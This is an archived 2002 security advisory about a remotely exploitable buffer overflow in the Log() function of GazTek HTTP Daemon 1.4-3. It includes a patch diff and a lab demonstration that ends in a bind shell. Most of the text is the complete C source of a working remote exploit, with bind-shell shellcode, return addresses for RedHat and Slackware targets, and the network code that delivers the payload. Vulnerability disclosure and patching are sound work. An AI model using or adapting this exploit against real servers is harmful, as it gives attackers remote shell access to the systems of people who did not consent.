TUCoPS :: Web :: Servers :: pyrami2.txt

ghttpd overflow


- -=================================================================-

	SECURITY ADVISORY
	PYR/\MID, Research Project - 100702
	Members: Apm, flea, thread

	Title:		GazTek HTTP Daemon v1.4-3 Buffer Overflow
	Author: 	flea

	Vulnerable	GazTek HTTP Daemon <= v1.4-3
	Problem: 	Buffer Overflow
	Remote:		Yes
	Release: 	October 7, 2002
	Vendor: 	Contacted
	Exploit: 	PRPghttpd.c

- -=================================================================-




- - Package Overview
===================

	Ghttpd is a fast and efficient HTTP server that has CGI support.
Ghttpd has a small memory inprint and is capable of handling thousands of
simultanious connections. It is ideal for large and small websites.

- - Issue Specifics
==================

	Ghttpd server contains a remotely exploitable buffer overflow
which allows an attacker to gain ghttpd's previleges.

	The overflow occurs when a long "GET <buffer>" query is sent trough
a session and this is logged by the function Log():

	protocol.c:103:
	Log("Connection from %s, request = \"GET %s\"",
	     inet_ntoa(sa.sin_addr), ptr);

	While executing the Log() function a buffer is copied without
checking boundries resulting in a buffer overflow:

	util.c:208: void Log(char *format, ...)
	util.c:213: char temp[200], temp2[200], logfilename[255];
	util.c:219: vsprintf(temp, format, ap);

	This flaw was detected in the latest ghttpd version(1.4-3) but
it's likely that the problem exists in previous versions as well, altough
this was not tested.

	A proof of concept exploit was coded for ghttpd servers running on
"i386 RedHat 7.3 Linux", "i386 RedHat 7.2 Linux" and "i386 Slackware 8.1"
operating systems.

[root@testlab httpd]# uname -a
Linux testlab 2.4.18-3 #1 Thu Apr 18 07:31:07 EDT 2002 i586 unknown
[root@testlab ghttpd]# cat /etc/issue
Red Hat Linux release 7.3 (Valhalla)

[root@testlab httpd]# ls -al ghttpd
- -rwxr-xr-x    1 nobody   nobody      34687 Sep 27 02:04 ghttpd

[root@testlab httpd]# id
uid=0(root) gid=0(root) groups=0(root),
1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)

[root@testlab httpd]# ./ghttpd
[root@testlab httpd]# ghttpd launched into background, PID = 851

[root@testlab httpd]# ./PRPghttpd -b 127.0.0.1
Server: GazTek HTTP Daemon v1.4

[flea@testlab httpd]$ ./PRPghttpd -d 0 127.0.0.1 127.0.0.1
target: 127.0.0.1
arch id: 0, GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux, 0xbfffb9c0
ip size: 9 bytes
Adjust: 0 bytes
buffer size: 204 bytes
bind shellcode size: 128 bytes
bind shell tcp port: 36864
Injecting code at 0xbfffb9c0...
Done!

[flea@testlab httpd]$ telnet localhost 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=99(nobody) gid=99(nobody)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
: command not found

- - Temporary Patch
==================

	Another similar bug affects the Log() function, so here's a
temporary fix for both.

+++ util.c      Sat Sep 28 01:26:33 2002
@@ -210,12 +210,16 @@
        FILE *logfile;
        time_t t;
        struct tm *tm;
- -       char temp[200], temp2[200], logfilename[255];
+       char *temp, *temp2;
+       char logfilename[255];
        char datetime[] = "[%d.%m.%Y] [%H:%M.%S]";
        char datetime_final[128];
        va_list ap;

        va_start(ap, format);           // format it all into temp
+
+       /* temp[200] overflow patch */
+       temp = malloc(strlen(format)+1024);
- -       vsprintf(temp, format, ap);
+	vsnprintf(temp, strlen(format)+1024, format, ap);
        va_end(ap);

@@ -225,6 +229,8 @@
        strftime(datetime_final, 127, datetime, tm);

        // format it all so we have date/time/loginfo
+       /* temp2[200] overflow patch */
+       temp2 = malloc((strlen(temp) + strlen(datetime_final) + 5));
        sprintf(temp2, "%s - %s\n", datetime_final, temp);
        sprintf(logfilename, "%s/ghttpd.log", SERVERROOT);

@@ -234,4 +240,4 @@
        fputs(temp2, logfile);          // Save to the file

        fclose(logfile);                // Close file
- -}
\ No newline at end of file
+}

EOF

/* PRPghttpd.c

	This program is free software; you can redistribute it and/or
	modify it under the terms of the GNU General Public License
	as published by the Free Software Foundation; either version 2
	of the License, or (at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
	02111-1307, USA.

	-

	PYR/\MID, Research Project
	Author: flea
	Date: October 7, 2002
	Members: Apm, flea, thread

	Proof of Concept Remote Exploit for GazTek HTTP Daemon v1.4-3

	Works on:
	i386 Redhat 7.2
	i386 Redhat 7.3
	i386 Slackware 8.1

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NOP                     0x90
#define MIN_BUFFER_SIZE		198
#define MAX_IP_LENGHT		15
#define GAZTEK_PORT		80
#define BIND_PORT               36864

void synops(char *argv[]);
int main(int argc, char *argv[]);
void get_ban(char *ban_addr);

#define ARCH_NUMBER		4

struct arch {
	int id;
	char *os;
	long addr;
	int adjusted_buf;
} architectures[] = {
			{0, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb9c0, 0},
			{1, "GazTek HTTP Daemon v1.4/i386 RedHat 7.3 Linux", 0xbfffb6b0, 0},
		     	{2, "GazTek HTTP Daemon v1.4/i386 RedHat 7.2 Linux", 0xbfffb658, -1},
		        {3, "GazTek HTTP Daemon v1.4/i386 Slackware 8.1", 0xbfffb50c, -32}
		     };

char bindshell[] =
        "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
        "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
        "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
        "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
        "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
        "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
        "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
        "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
        "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";

void synops(char *argv[])
{
	int i;

	printf("PYR/\\MID, Research Project 02\n");
        printf("GazTek HTTP Daemon v1.4 remote exploit, by flea.\n");
        printf("SYNOPS: %s [-b <banner>] -d <arch> <ip> <remote>\n\n", argv[0]);
        printf("<ip>            - ip address to check lenght\n");
        printf("<remote>        - remote target ip addr\n");
        printf("<arch>          - remote architecture id\n");
        printf("<banner>        - ip addr to check banner\n\n");
	printf("Architectures id:\n");

        for(i=0; i<ARCH_NUMBER; i++)
        	printf("\t%d, %s, 0x%x\n", architectures[i].id, architectures[i].os, architectures[i].addr);

	exit(0);
}

void get_ban(char *ban_addr)
{
	int i, sock_fd;
	char *read_buf, *read_buf_toked, *ptr;
	struct sockaddr_in target;

	if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
	{
		printf("socket() error.\n");
		exit(-1);
	}

	target.sin_family = AF_INET;
	target.sin_port = htons(GAZTEK_PORT);

	if((target.sin_addr.s_addr = inet_addr(ban_addr)) == -1)
	{
		printf("\"%s\" is an invalid ip address.\n", ban_addr);
		exit(-1);
	}

	bzero(&(target.sin_zero), 8);

	if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
	{
		printf("connect() error.\n");
		exit(-1);
	}

	if((write(sock_fd, "HEAD HTTP /\n\n", 13)) == -1)
	{
		printf("write() error.\n");
		exit(-1);
	}

	read_buf = malloc(256);
	read_buf_toked = malloc(256);

	if((read(sock_fd, read_buf, 256)) == -1)
	{
		printf("read() error.\n");
		exit(-1);
	}

	strcpy(read_buf_toked, read_buf);
	ptr = strstr(read_buf_toked, "Server");
	ptr = strtok(ptr, "\n");

	printf("%s\n\n", ptr);

	printf("****** FULL HEADERS ******\n");
	ptr = strtok(read_buf, "\n");

	for(i=0; i<4; i++)
	{
		ptr = strtok(NULL, "\n");
		printf("%s\n", ptr);
	}
	printf("****** FULL HEADERS ******\n");
	exit(0);
}

main(int argc, char *argv[])
{
	int c, c_size, ip_lenght, arch_id, sock_fd, errflg=0, ban_chk=0, exp_flg=0;
	char *addr, *get_buf, *get_buf_str;
	long ret;

	extern char *optarg;
	extern int optind, optopt;

	struct sockaddr_in target;

	if(argc == 1)
		synops(argv);

	while((c = getopt(argc, argv, "b:d:")) != -1)
	{
		switch(c)
		{
			case 'b':
				addr = malloc(strlen(optarg));
				strcpy(addr, optarg);
				ban_chk++;
				break;
			case 'd':
				if(!(argv[optind]))
					errflg++;
				if(!(argv[optind+1]))
					errflg++;
				if(errflg == 0)
				{
					if((arch_id = atoi(optarg)) < 0 || (arch_id = atoi(optarg)) > (ARCH_NUMBER-1))
					{
						printf("Invalid architecture id.\n");
						exit(-1);
					}

					if((inet_addr(argv[optind])) != -1)
						ip_lenght = strlen(argv[optind+1]);
					else
					{
						printf("\"%s\" is an invalid ip address.\n", argv[optind]);
						exit(-1);
					}
					addr = malloc(strlen(argv[optind+1]));
					strcpy(addr, argv[optind+1]+1);
					exp_flg++;
				}

				break;
			case ':':
				errflg++;
				break;
			case '?':
				errflg++;
		}
	}

	if(errflg > 0)
		synops(argv);

	/* check banner info */
	if(ban_chk > 0)
		get_ban(addr);

	if(!(exp_flg))
		synops(argv);
/*
        Buffer Size Craft Relation
        min string size                    = 192 bytes
        string "GET _" size                =   4 bytes
        max log ip size "255.255.255.255"  =  15 bytes
        string "\n\n" size                 =   2 bytes
                                           = 198 bytes
                                                        */
	/* dont count with GET request and newline bytes */
	c_size = ((MIN_BUFFER_SIZE+15-ip_lenght-4-2)+(architectures[arch_id].adjusted_buf));
	/* NULL string byte */
	c_size = c_size+1;

	/* builds crafted buffer */
	get_buf = malloc(c_size);
	/* counts with all constants sizes */
	get_buf_str = malloc((c_size+4+2));

	memset(get_buf, NOP, c_size);
	memcpy(get_buf+(c_size-1-4-strlen(bindshell)), bindshell, strlen(bindshell));
	*(long*)&get_buf[c_size-4-1] = architectures[arch_id].addr;
	get_buf[c_size-1] = '\0';

	/* final buffer, now just inject on connection */
	sprintf(get_buf_str,"GET %s\n\n", get_buf);

	/* infos */
	printf("target: %s\n", addr);
	printf("arch id: %d, %s, 0x%x\n", architectures[arch_id].id, architectures[arch_id].os, architectures[arch_id].addr);
	printf("ip size: %d bytes\n", ip_lenght);
	printf("Adjust: %d bytes\n", architectures[arch_id].adjusted_buf);
	printf("buffer size: %d bytes\n", strlen(get_buf_str));
	printf("bind shellcode size: %d bytes\n", strlen(bindshell));
	printf("bind shell tcp port: %d\n", BIND_PORT);
	printf("Injecting code at 0x%x...\n", architectures[arch_id].addr);

	/* start socket() */

        if((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 1)
        {
                printf("socket() error.\n");
                exit(-1);
        }

        target.sin_family = AF_INET;
        target.sin_port = htons(GAZTEK_PORT);

        if((target.sin_addr.s_addr = inet_addr(addr)) == -1)
        {
                printf("\"%s\" is an invalid ip address.\n", addr);
                exit(-1);
        }

        bzero(&(target.sin_zero), 8);

        if((connect(sock_fd, (struct sockaddr *)&target, sizeof(target))) == -1)
	{
                printf("connect() error.\n");
                exit(-1);
        }

        if((write(sock_fd, get_buf_str, strlen(get_buf_str))) == -1)
        {
                printf("write() error.\n");
                exit(-1);
        }

	printf("Done!\n");

return 0;
}



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH